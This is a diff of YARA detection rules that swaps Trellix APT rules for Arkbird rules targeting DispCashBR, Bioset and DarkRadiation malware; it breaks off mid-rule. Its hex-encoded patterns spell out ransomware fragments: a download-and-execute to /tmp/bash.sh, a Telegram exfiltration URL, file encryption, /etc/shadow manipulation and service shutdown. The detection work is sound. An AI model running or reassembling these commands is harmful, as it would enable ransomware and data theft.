+		$s1 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 52 00 45 00 41 00 54 00 45 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 43 00 45 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 54 00 52 00 20 00 25 00 73 00 20 00 2f 00 52 00 49 00 20 00 31 00 20 00 2f 00 53 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 45 00 54 00 20 00 25 00 30 00 32 00 64 00 3a 00 25 00 30 00 32 00 64 00 20 00 2f 00 46 }
+		$s2 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 45 00 6e 00 64 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 }
+		$s3 = { 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 44 00 65 00 6c 00 65 00 74 00 65 00 20 00 2f 00 54 00 4e 00 20 00 25 00 73 00 20 00 2f 00 46 00 20 00 3c 00 20 00 25 00 73 }
+		$s4 = "6ad5e187ae3e8911c420434551678df2.txt" fullword wide
+		$s5 = { 55 52 4c 44 6f 77 6e 6c 6f 61 64 65 72 }
+		$s6 = { 64 6c 6c 00 4d 79 45 78 70 6f 72 74 }
 
 	condition:
-		( uint32(0)==0x4464c457f) and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize >8KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Sharedmemcreation : BACKDOOR FILE
+rule ARKBIRD_SOLG_ATM_Dispcashbr_May_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect Derusbi Linux Shared Memory creation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "8d2db62e-22fa-5bbe-ab65-f294fc911b82"
-		date = "2017-05-31"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/software/S0021/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L107-L130"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "095af979728f3b71e3192140306e4aa76011e07a25b20b0c5b3b98db41411714"
+		description = "Detect the DispCashBR ATM malware"
+		author = "Arkbird_SOLG"
+		id = "629261d8-242c-580d-aa4d-4b313c77edef"
+		date = "2020-05-14"
+		modified = "2021-05-14"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-05-14/DispCashBR/ATM_DispCashBR_May_2021_1.yara#L1-L18"
+		license_url = "N/A"
+		logic_hash = "26f641a266c1f187d834a05b327c13ddee93747e182a5458e4ec3cb1f23f5f47"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:ELF/Derusbi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "432f732a4ecbb86cb3dedbfa881f2733d20cbcc5958ead52823bf0967c133175"
+		hash2 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
+		$seq1 = { c7 45 cc 00 00 00 00 c7 04 24 68 5d 40 00 e8 40 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 89 44 24 04 c7 04 24 89 5d 40 00 e8 0c 0e 00 00 c7 04 24 a4 5d 40 00 e8 18 0e 00 00 8b 85 a0 fd ff ff 8b 40 0a 8b 40 03 01 45 cc c7 04 24 d0 07 00 00 e8 7d 0e 00 00 83 ec 04 8b 85 a0 fd ff ff 8d 48 0a 0f b7 85 be fd ff ff 0f b7 c0 8d 95 98 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 89 4c 24 08 c7 44 24 04 2e 01 00 00 89 04 24 e8 75 05 00 00 83 ec 14 89 45 e8 8b 45 e8 83 c0 38 83 }
+		$seq2 = { 0f b7 85 be fd ff ff 0f b7 c0 8b 55 e4 89 54 24 08 c7 44 24 04 06 00 00 00 89 04 24 e8 7e 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 b8 fd ff ff 89 54 24 08 c7 44 24 04 00 00 00 00 89 04 24 e8 5f 17 00 00 83 ec 0c 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 f8 16 00 00 83 ec 14 89 45 e0 8d 85 ac fd ff ff 89 44 24 08 c7 44 24 04 03 00 00 00 c7 04 24 04 00 00 00 e8 dc 16 00 00 83 ec 0c 8b 45 e0 83 c0 38 83 f8 }
+		$seq3 = { 8b 85 a8 fd ff ff 8b 50 14 8b 85 a8 fd ff ff 8b 40 10 0f af c2 89 45 d8 8b 45 d8 89 44 24 04 c7 04 24 04 5b 40 00 e8 aa 12 00 00 8b 85 a4 fd ff ff 0f b7 40 04 0f b7 c0 89 44 24 04 c7 04 24 24 5b 40 00 e8 8d 12 00 00 8b 85 a8 fd ff ff 8b 50 18 8b 85 a8 fd ff ff 8b 40 1c 0f af c2 89 45 d4 c7 45 f0 00 00 00 00 8b 45 d8 89 44 24 04 c7 04 24 45 5b 40 00 e8 5b 12 00 00 83 45 f0 01 83 7d f0 01 7e e3 8b 85 a0 fd ff ff c7 40 06 01 00 00 00 0f b7 85 be fd ff ff 0f b7 c0 8d 95 26 fd ff ff 89 54 24 10 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 c7 44 24 04 2e 01 00 00 89 04 24 e8 60 ed ff ff 89 45 d0 }
+		$seq4 = { c7 45 ec 00 00 00 00 8d 85 c4 fd ff ff 89 44 24 04 c7 04 24 03 00 02 0b e8 47 1b 00 00 83 ec 08 89 45 e8 83 7d e8 00 74 18 c7 04 24 92 50 40 00 e8 8b 23 00 00 c7 04 24 ff ff ff ff e8 8f 23 00 00 c7 04 24 aa 50 40 00 e8 8b 23 00 00 c7 04 24 f5 ff ff ff e8 ef 23 00 00 83 ec 04 c7 44 24 04 03 00 00 00 89 04 24 e8 e4 23 00 00 83 ec 08 c7 04 24 b8 0b 00 00 e8 dd 23 00 00 83 ec 04 c7 04 24 c4 50 40 00 e8 4e 23 00 00 8d 85 c4 fd ff ff 83 c0 06 89 44 24 04 c7 04 24 ed 50 40 00 e8 1d 23 00 00 8d 85 c4 fd ff ff 05 07 01 00 00 89 44 24 04 c7 04 24 03 51 40 00 e8 02 23 00 00 0f b7 85 c8 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 1a 51 40 00 e8 e8 22 00 00 0f b7 85 c6 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 2f 51 40 00 e8 ce 22 00 00 0f b7 85 c4 fd ff ff 0f b7 c0 89 44 24 04 c7 04 24 42 51 40 00 e8 b4 22 00 00 c7 04 24 54 51 40 00 e8 c0 22 00 00 8d 85 c0 fd ff ff 89 04 24 e8 46 1a 00 00 83 ec 04 8b 85 c0 fd ff ff 8d 95 be fd ff ff 89 54 24 20 c7 44 24 1c 00 00 00 00 8d 95 c4 fd ff ff 89 54 24 18 c7 44 24 14 0f 00 02 0b c7 44 24 10 00 00 00 00 c7 44 24 0c 00 00 00 00 c7 44 24 08 00 00 00 00 89 44 24 04 c7 04 24 7f 51 40 00 e8 f9 19 00 00 83 ec 24 89 45 e8 8b 45 e8 83 c0 36 83 f8 }
 
 	condition:
-		( uint32(0)==0x464C457F) and filesize <200KB and all of them
+		uint16(0)==0x5a4d and filesize >20KB and 3 of ($seq*)
 }
-rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Linux_Strings : BACKDOOR FILE
+rule ARKBIRD_SOLG_MAL_ELF_Bioset_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect APT Derusbi Linux Strings"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "09e47580-9b20-5461-943e-32b932c36214"
-		date = "2017-05-31"
-		modified = "2020-08-14"
-		reference = "https://attack.mitre.org/software/S0021/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L132-L173"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "0e95497c44a0c1d85936a6a072063720a771b7e1eb8da2377e54577e3fc2764e"
+		description = "Detect the Bioset malware"
+		author = "Arkbird_SOLG"
+		id = "1b95c3df-7543-521c-a28b-d540ad0bd648"
+		date = "2021-07-02"
+		modified = "2021-07-05"
+		reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/Bioset/MAL_ELF_Bioset_Jul_2021_1.yara#L1-L26"
+		license_url = "N/A"
+		logic_hash = "b5ba7f4517f07d8657cbd54695cad88d8c2f263ee010bd70c4a05433b2927576"
 		score = 75
-		quality = 68
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:ELF/Derusbi"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 75
+		tags = "FILE"
+		hash1 = "3afe2ec273608be0b34b8b357778cc2924c344dd1b00a84cf90925eeb2469964"
+		hash2 = "3de97c2b211285022a34a62b536cef586d987939d40d846930c201d010517a10"
+		hash3 = "b00157dbb371e8abe19a728104404af61acc3c5d4a6f67c60e694fe0788cb491"
+		hash4 = "7fa37dd67dcd04fc52787c5707cf3ee58e226b98c779feb45b78aa8a249754c7"
+		hash5 = "79e93f6e5876f31ddc4a6985b290ede6a2767d9a94bdf2057d9c464999163746"
+		tlp = "White"
+		adversary = "-"
 
 	strings:
-		$a1 = "loadso" wide ascii fullword
-		$a2 = "\nuname -a\n\n" wide ascii
-		$a3 = "/dev/shm/.x11.id" wide ascii
-		$a4 = "LxMain64" wide ascii nocase
-		$a5 = "# \\u@\\h:\\w \\$ " wide ascii
-		$b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
-		$b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
-		$b3 = "ret %d" wide fullword
-		$b4 = "uname -a\n\n" wide ascii
-		$b5 = "/proc/%u/cmdline" wide ascii
-		$b6 = "/proc/self/exe" wide ascii
-		$b7 = "cp -a %s %s" wide ascii
-		$c1 = "/dev/pts/4" wide ascii fullword
-		$c2 = "/tmp/1408.log" wide ascii fullword
+		$s1 = "exec bash --login" fullword ascii
+		$s2 = { 55 48 89 e5 53 48 83 ec 48 48 89 7d b8 48 c7 45 d8 [2] 40 00 48 c7 45 d0 00 00 00 00 c7 45 e8 00 00 00 00 c7 45 ec 00 00 00 00 eb 30 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 89 c7 e8 ?? fa ff ff 89 c2 8b 45 e8 01 d0 83 c0 01 89 45 e8 83 45 ec 01 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 85 c0 75 b4 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 83 ea 08 48 01 d0 48 8b 18 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 83 ea 08 48 01 d0 48 8b 00 48 89 c7 e8 ?? fa ff ff 48 83 c0 01 48 01 d8 48 89 45 d0 8b 45 e8 48 98 48 89 c7 e8 ?? fb ff ff 48 89 45 e0 c7 45 ec 00 00 00 00 eb 74 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 10 48 8b 45 e0 48 89 d6 48 89 c7 e8 ?? f9 ff ff 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 48 89 c7 e8 ?? f9 ff ff 89 45 cc 8b 45 cc 48 98 48 83 c0 01 48 01 45 e0 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 c2 48 8b 45 e0 48 89 02 83 45 ec 01 48 8b 05 [2] 20 00 8b 55 ec 48 63 d2 48 c1 e2 03 48 01 d0 48 8b 00 }
+		$s3 = "amcsh_connect" fullword ascii
+		$s4 = "GOT HAHA: %d" fullword ascii
+		$s5 = { 52 65 63 76 65 64 20 74 65 72 6d 20 65 6e 76 20 76 61 72 3a 20 25 73 00 77 69 6e 3a 25 64 2c 25 64 }
+		$s6 = { 55 48 89 e5 48 81 ec f0 20 00 00 89 bd 1c df ff ff 48 c7 45 f0 [2] 40 00 48 8d 85 20 df ff ff be 01 20 00 00 48 89 c7 e8 ?? fa ff ff 48 8d b5 28 ff ff ff 48 8d 85 2c ff ff ff 41 b8 00 00 00 00 b9 00 00 00 00 ba 00 00 00 00 48 89 c7 e8 ?? fa ff ff 85 c0 79 2a e8 ?? f8 ff ff 8b 00 89 c7 e8 ?? fa ff ff 48 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 26 fc ff ff b8 01 00 00 00 e9 f8 05 00 00 8b 85 28 ff ff ff 89 c7 e8 ?? fa ff ff 48 89 45 e8 48 83 7d e8 00 75 0a b8 01 00 00 00 e9 d6 05 00 00 bf [2] 40 00 e8 ?? f9 ff ff 48 8d 95 20 df ff ff 8b 85 1c df ff ff 48 89 d6 89 c7 e8 ?? 17 00 00 89 45 fc 83 7d fc 00 79 2a e8 [2] ff ff 8b 00 89 c7 e8 ?? fa ff ff 48 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 b0 fb ff ff }
+		$s7 = { 8b 45 fc 48 63 d0 8b 85 2c ff ff ff 48 8d 8d 20 df ff ff 48 89 ce 89 c7 e8 ?? f3 ff ff 89 45 fc 8b 45 fc 89 c6 bf [2] 40 00 b8 00 00 00 00 e8 f0 f6 ff ff 83 7d fc }
+		$s8 = { 55 48 89 e5 53 48 81 ec e8 00 00 00 48 89 b5 48 ff ff ff 48 89 95 50 ff ff ff 48 89 8d 58 ff ff ff 4c 89 85 60 ff ff ff 4c 89 8d 68 ff ff ff 84 c0 74 23 0f 29 85 70 ff ff ff 0f 29 4d 80 0f 29 55 90 0f 29 5d a0 0f 29 65 b0 0f 29 6d c0 0f 29 75 d0 0f 29 7d e0 48 89 bd 18 ff ff ff 48 8b 05 [2] 20 00 48 85 c0 75 16 be [2] 40 00 bf [2] 40 00 e8 ?? fd ff ff 48 89 05 [2] 20 00 c7 85 20 ff ff ff 08 00 00 00 c7 85 24 ff ff ff 30 00 00 00 48 8d 45 10 48 89 85 28 ff ff ff 48 8d 85 40 ff ff ff 48 89 85 30 ff ff ff 48 8b 05 [2] 20 00 48 8d 95 20 ff ff ff 48 8b 8d 18 ff ff ff 48 89 ce 48 89 c7 e8 ?? fd ff ff 48 c7 85 38 ff ff ff [2] 40 00 48 8b 1d [2] 20 00 48 8b 85 38 ff ff ff 48 89 c7 e8 ?? fb ff ff 48 89 c6 48 8b 85 38 ff ff ff 48 89 d9 ba 01 00 00 00 48 89 c7 e8 ?? fd ff ff 48 8b 05 [2] 20 00 48 89 c7 e8 ?? fc ff ff 48 81 c4 e8 00 00 00 5b }
 
 	condition:
-		uint32(0)==0x464C457F and filesize <200KB and ((1 of ($a*) and 4 of ($b*)) or (1 of ($a*) and 1 of ($c*)) or 2 of ($a*) or all of ($b*))
+		uint32(0)==0x464c457f and filesize >10KB and 6 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Flamer_Pdb : BACKDOOR FILE
+rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_2 : FILE
 {
 	meta:
-		description = "Rule to detect Flamer based on the PDB"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "3bbe043d-c0dc-5aa2-b985-800a6d9038fd"
-		date = "2012-05-29"
-		modified = "2020-08-14"
-		reference = "https://www.forcepoint.com/ko/blog/x-labs/flameflamerskywiper-one-most-advanced-malware-found-yet"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/flamer_pdb.yar#L1-L25"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "554924ebdde8e68cb8d367b8e9a016c5908640954ec9fb936ece07ac4c5e1b75"
-		logic_hash = "3c1d3d015e086cff1f3d5add39397d8ed251b12144b31d8547165cbd0217735c"
+		description = "Detect the DarkRadiation ransomware"
+		author = "Arkbird_SOLG"
+		id = "3580a41a-ba2e-5a47-b35d-b2482fbc913a"
+		date = "2021-07-03"
+		modified = "2021-07-05"
+		reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_2.yara#L1-L27"
+		license_url = "N/A"
+		logic_hash = "b21db1658845cafe37950d69b5bc0aab203e7bea3e43f95394236e0133234e2d"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Flamer"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 57
+		tags = "FILE"
+		hash1 = "3bab2947305c00df66cb4d6aaef006f10aca348c17aa2fd28e53363a08b7ec68"
+		hash2 = "652ee7b470c393c1de1dfdcd8cb834ff0dd23c93646739f1f475f71a6c138edd"
+		hash3 = "79aee7a4459d49dc6dfebf1a45d32ccc3769a1e5c1f231777ced3769607ba9c1"
+		tlp = "White"
+		adversary = "FERRUM"
 
 	strings:
-		$pdb = "\\Projects\\Jimmy\\jimmydll_v2.0\\JimmyForClan\\Jimmy\\bin\\srelease\\jimmydll\\indsvc32.pdb"
+		$s1 = { 61 6c 6c 54 68 72 65 61 64 73 3d 28 24 31 29 }
+		$s2 = { 4d 53 47 5f 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 61 70 69 2e 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 62 6f 74 27 24 54 4f 4b 45 4e 27 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 27 }
+		$s3 = { 69 66 20 5b 5b 20 22 24 6d 61 73 74 65 72 22 20 21 3d 20 22 24 73 6c 61 76 65 22 20 5d 5d }
+		$s4 = { 75 73 65 72 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 31 7d 27 29 }
+		$s5 = { 6d 61 73 74 65 72 3d 24 28 63 61 74 20 2f 74 6d 70 2f 2e 63 63 77 20 7c 20 77 63 20 2d 6c 29 }
+		$s6 = { 73 65 6e 64 5f 6d 65 73 73 61 67 65 20 24 69 64 20 22 24 28 68 6f 73 74 6e 61 6d 65 29 20 24 28 68 6f 73 74 6e 61 6d 65 20 2d 49 29 }
+		$s7 = { 73 74 61 72 74 5f 74 68 72 65 61 64 20 24 61 6c 6c 54 68 72 65 61 64 73 }
+		$s8 = { 69 70 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 32 7d 27 29 }
+		$s9 = { 70 6f 72 74 5f 68 6f 73 74 3d 24 28 65 63 68 6f 20 22 24 7b 70 61 72 73 65 5f 61 72 67 7d 22 20 7c 20 61 77 6b 20 2d 46 20 22 7c 22 20 27 7b 70 72 69 6e 74 20 24 33 7d 27 29 }
+		$s10 = { 24 28 63 75 72 6c 20 2d 73 20 2d 2d 69 6e 73 65 63 75 72 65 20 2d 2d 64 61 74 61 2d 75 72 6c 65 6e 63 6f 64 65 20 22 74 65 78 74 3d [2-15] 22 20 22 24 4d 53 47 5f 55 52 4c [2-15] 22 20 26 29 }
+		$s11 = { 73 6c 61 76 65 3d 24 28 65 63 68 6f 20 22 24 7b [2-15] 7d 22 20 7c 20 77 63 20 2d 6c 29 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and any of them
+		filesize >1KB and 6 of ($s*)
 }
-rule TRELLIX_ARC_Apt_Blackenergy_Pdb : TROJAN FILE
+rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Rule to detect the BlackEnergy trojan"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "55c96b66-a8bf-5390-a75a-f3d2441c2a55"
-		date = "2013-02-15"
-		modified = "2020-08-14"
-		reference = "https://www.kaspersky.com.au/resource-center/threats/blackenergy"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_blackenergy_pdb.yar#L1-L38"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "4b2efcda5269f4b80dc417a2b01332185f2fafabd8ba7114fa0306baaab5a72d"
-		logic_hash = "7bb85d03d8f2a4d91554f7fea96e9bbe36b153cfa4a91fd13fb99d41d430c9e9"
+		description = "Detect the DarkRadiation ransomware"
+		author = "Arkbird_SOLG"
+		id = "13d77ecc-14ab-54ce-9eec-2d614f5ae8e4"
+		date = "2021-07-03"
+		modified = "2021-07-05"
+		reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_1.yara#L1-L25"
+		license_url = "N/A"
+		logic_hash = "6fbc6eed7dd7f92af0cd8b3b2726636a64dc8de0b795b176169817994f44d4fa"
 		score = 75
-		quality = 70
-		tags = "TROJAN, FILE"
-		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/BlackEngergy"
-		actor_type = "Cybercrime"
-		actor_group = "Unknown"
+		quality = 61
+		tags = "FILE"
+		hash1 = "1c2b09417c1a34bbbcb8366c2c184cf31353acda0180c92f99828554abf65823"
+		hash2 = "d0d3743384e400568587d1bd4b768f7555cc13ad163f5b0c3ed66fdc2d29b810"
+		hash3 = "e380c4b48cec730db1e32cc6a5bea752549bf0b1fb5e7d4a20776ef4f39a8842"
+		tlp = "White"
+		adversary = "FERRUM"
 
 	strings:
-		$s1 = "msiexec.exe /i \"%s\" %s REBOOT=\"ReallySuppress\"" fullword wide
-		$s2 = "InstallUpdate: CreateProcess failed, Cmdline=%s Error=%d ." fullword wide
-		$s3 = "Portuguese=Instalando o Tempo de Execu" fullword wide
-		$s4 = "Initialization: Failed to initialize - Unable to get Upgrade Code." fullword wide
-		$s5 = "This version of Internet Explorer is not supported.  You should upgrade Internet Explorer to version %s and run setup again.  Se" wide
-		$s6 = "Initialization: Failed to open %s file, Make sure the file is not used by another process." fullword wide
-		$s7 = "o %s e execute a configura" fullword wide
-		$s8 = "Initialization: Failed to initialize - Unable to get Product Version." fullword wide
-		$s9 = "f:\\CB\\11X_Security\\Acrobat\\Installers\\BootStrapExe_Small\\Release\\Setup.pdb" fullword ascii
-		$s10 = "BootStrap.log" fullword wide
-		$s11 = "ACDownloaderDlg" fullword ascii
-		$s12 = "Initialization: Failed to initialize Product - msi key not specified." fullword wide
-		$s13 = "rio atualizar para o Service Pack %s e executar a instala" fullword wide
-		$s14 = "\\Msi.dll" fullword wide
+		$s1 = { 50 41 53 53 5f 44 45 43 3d 24 28 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 62 61 73 65 36 34 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 64 20 2d 70 61 73 73 20 70 61 73 73 3a 24 50 41 53 53 5f 44 45 20 3c 3c 3c 20 24 31 29 }
+		$s2 = { 72 6d 20 2d 72 66 20 24 50 41 54 48 5f 54 45 4d 50 5f 46 49 4c 45 2f 24 4e 41 4d 45 5f 53 43 52 49 50 54 5f 43 52 59 50 54 }
+		$s3 = { 74 65 6c 65 67 72 61 6d 5f 62 6f 74 2f [5-15] 2d 6f 20 22 2f }
+		$s4 = { 2d 6f 20 22 2f 74 6d 70 2f 62 61 73 68 2e 73 68 22 3b 63 64 20 2f 74 6d 70 3b 63 68 6d 6f 64 20 2b 78 20 62 61 73 68 2e 73 68 3b 2e 2f 62 61 73 68 2e 73 68 3b }
+		$s5 = { 78 61 72 67 73 20 2d 50 20 31 30 20 2d 49 20 46 49 4c 45 20 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 73 61 6c 74 20 2d 70 61 73 73 20 70 61 73 73 }
+		$s6 = { 78 61 72 67 73 20 2d 50 20 31 30 20 2d 49 20 46 49 4c 45 20 6f 70 65 6e 73 73 6c 20 65 6e 63 20 2d 61 65 73 2d 32 35 36 2d 63 62 63 20 2d 73 61 6c 74 20 2d 70 61 73 73 20 70 61 73 73 3a 24 50 41 53 53 5f 44 45 43 20 2d 69 6e 20 46 49 4c 45 20 2d 6f 75 74 20 46 49 4c 45 2e }
+		$s7 = { 75 73 65 72 6d 6f 64 20 2d 2d 73 68 65 6c 6c 20 2f 62 69 6e 2f 6e 6f 6c 6f 67 69 6e }
+		$s8 = { 67 72 65 70 20 2d 46 20 22 24 22 20 2f 65 74 63 2f 73 68 61 64 6f 77 20 7c 20 63 75 74 20 2d 64 3a 20 2d 66 31 20 7c 20 67 72 65 70 20 2d 76 20 22 [1-15] 22 20 7c 20 78 61 72 67 73 20 2d 49 20 46 49 4c 45 20 67 70 61 73 73 77 64 20 2d 64 20 46 49 4c 45 20 77 68 65 65 6c }
+		$s9 = { 73 79 73 74 65 6d 63 74 6c 20 73 74 6f 70 20 64 6f 63 6b 65 72 20 26 26 20 73 79 73 74 65 6d 63 74 6c 20 64 69 73 61 62 6c 65 20 64 6f 63 6b 65 72 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and all of them
+		filesize >5KB and 5 of ($s*)
 }
-rule TRELLIX_ARC_APT_Winnti : BACKDOOR FILE
+rule ARKBIRD_SOLG_RAN_ELK_Darkradiation_Jul_2021_3 : FILE
 {
 	meta:
-		description = "Detects Winnti variants"
-		author = "McAfee ATR Team"
-		id = "f12b039a-2508-580f-b777-428bbda2c666"
-		date = "2020-06-04"
-		modified = "2020-10-14"
-		reference = "https://attack.mitre.org/software/S0141/"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_winnti.yar#L1-L27"
-		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "fd539d345821d9ac9b885811b1f642aa1817ba8501d47bc1de575f5bef2fbf9e"
-		logic_hash = "f94b2c552fbb30e1005e5c75a2f449d60b9558a0916197bed41bf32c6477daef"
+		description = "Detect structures of scripts like used by the DarkRadiation ransomware"
+		author = "Arkbird_SOLG"
+		id = "144eb08d-e222-5f6f-925d-33077953e7e6"
+		date = "2021-07-03"
+		modified = "2021-07-05"
+		reference = "https://bazaar.abuse.ch/browse/tag/DarkRadiation/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/DarkRadiation/RAN_ELK_DarkRadiation_Jul_2021_3.yara#L1-L29"
+		license_url = "N/A"
+		logic_hash = "8d2fa53f5abd327d100ffc71863f3b49ce8a19f1a72db556902d95ae6ba09d4a"
 		score = 75
-		quality = 70
-		tags = "BACKDOOR, FILE"
-		rule_version = "v1"
-		malware_type = "backdoor"
-		malware_family = "Backdoor:W32/Winnti"
-		actor_type = "Apt"
-		actor_group = "Unknown"
+		quality = 55
+		tags = "FILE"
+		hash1 = "bc6e4b879228c248b7ff9aebbf857e94354829a98b6aea9b1c187005cbc2e0d0"
+		hash2 = "691afd4ef5f33d99053c57456ce9fa126e29d51d4dd510928193d8c3332547b1"
+		hash3 = "fdd8c27495fbaa855603df4f774fe86bbc21743f59fd039f734feb07704805bd"
+		tlp = "White"
+		adversary = "FERRUM"
 
 	strings:
-		$pattern = { 9090909090909090909090909090C7????????????C2????90909090909081??????????E9????????CCCCCCCCCC8A??????8B??????538A??8A??568B??578B??????8B??C1????66????8B??C1????F3AB8B??83????F3AA8B??5F5E5BC390909090909090909090909090909083????5333??568D??????535089??????89??????E8????????8A??33??3A??8D??????0F94??83????5389??????528B??89??????C6????????E8????????8B??33??81??????????8D??????0F94??6A??89??????5223??89??????C6????????C6????????E8????????33??66????8D??????6A??0F94??89??????89??????5223??C6????????C6????????E8????????8B??83????33??3B??0F94??23??5E495BF7??1B??8B??83????C38B??????8B??????03??C390909090908B??????85??0F84????????8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????75??8B??????83????74??83????7